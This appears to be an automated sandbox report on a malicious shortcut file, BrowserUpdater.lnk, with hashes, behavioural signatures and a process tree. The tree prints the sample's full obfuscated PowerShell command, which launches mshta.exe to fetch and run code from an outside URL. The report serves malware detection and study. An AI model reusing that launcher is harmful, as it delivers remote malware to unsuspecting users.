Resubmissions
07/08/2024, 21:06
240807-zxvl6sxfkf 1006/08/2024, 20:12
240806-yzbfmssgqc 1006/08/2024, 19:51
240806-yk45eaydrn 10Analysis
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max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
07/08/2024, 21:06
Static task
static1
Behavioral task
behavioral1
Sample
BrowserUpdater.lnk
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
BrowserUpdater.lnk
Resource
win10v2004-20240802-en
General
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Target
BrowserUpdater.lnk
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Size
2KB
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MD5
7ed0b7e22f568d2eedaf956ba831d0a6
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SHA1
c073465e6ca109f2069f2e26f28525e66da54bee
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SHA256
7a6ad3868f0223896ceea378a056b2568ad6f6ca2e65baaa7b55e1033da3abd7
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SHA512
c718e67fb2554d7bbbac60a1a3dae6fe6bcdf4c06c0cababd8b623d52f1d306f9441c27deaaff269e129fb0dcecb17430480b1941b14d95a01d3ffd4c87887cd
Malware Config
Extracted
https://redr.me/g3boil/
Signatures
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Blocklisted process makes network request 7 IoCs
flow pid Process 2 4772 mshta.exe 6 4772 mshta.exe 11 4772 mshta.exe 21 4772 mshta.exe 23 4772 mshta.exe 25 4772 mshta.exe 27 4772 mshta.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation cmd.exe -
pid Process 4484 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4484 powershell.exe 4484 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4484 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4320 wrote to memory of 4484 4320 cmd.exe 84 PID 4320 wrote to memory of 4484 4320 cmd.exe 84 PID 4484 wrote to memory of 4772 4484 powershell.exe 86 PID 4484 wrote to memory of 4772 4484 powershell.exe 86
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\BrowserUpdater.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4320 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $C='.dmsi:aLSretpobg3hl/'; &(-join($C[(-612+615),(909-903),(148-141)])) :* (-join($C[(-612+615),(909-903),(148-141)])); :* %\ (-join($C[(410-408),(-612+615),(429-412),(-438+449),(909-903)])); foreach($p in @((371-354),(-821+832),(335-324),(-207+219),(-654+657),(740-735),(-129+148),(890-871),(222-213),(-354+364),(-800+801),(683-674),(550-550),(261-259),(462-452),(938-919),(-453+468),(-790+806),(-864+878),(749-736),(-625+629),(626-608),(-363+382))){$Y+=$C[$p]}; %\ $Y;2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4484 -
C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" https://redr.me/g3boil/3⤵
- Blocklisted process makes network request
PID:4772
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82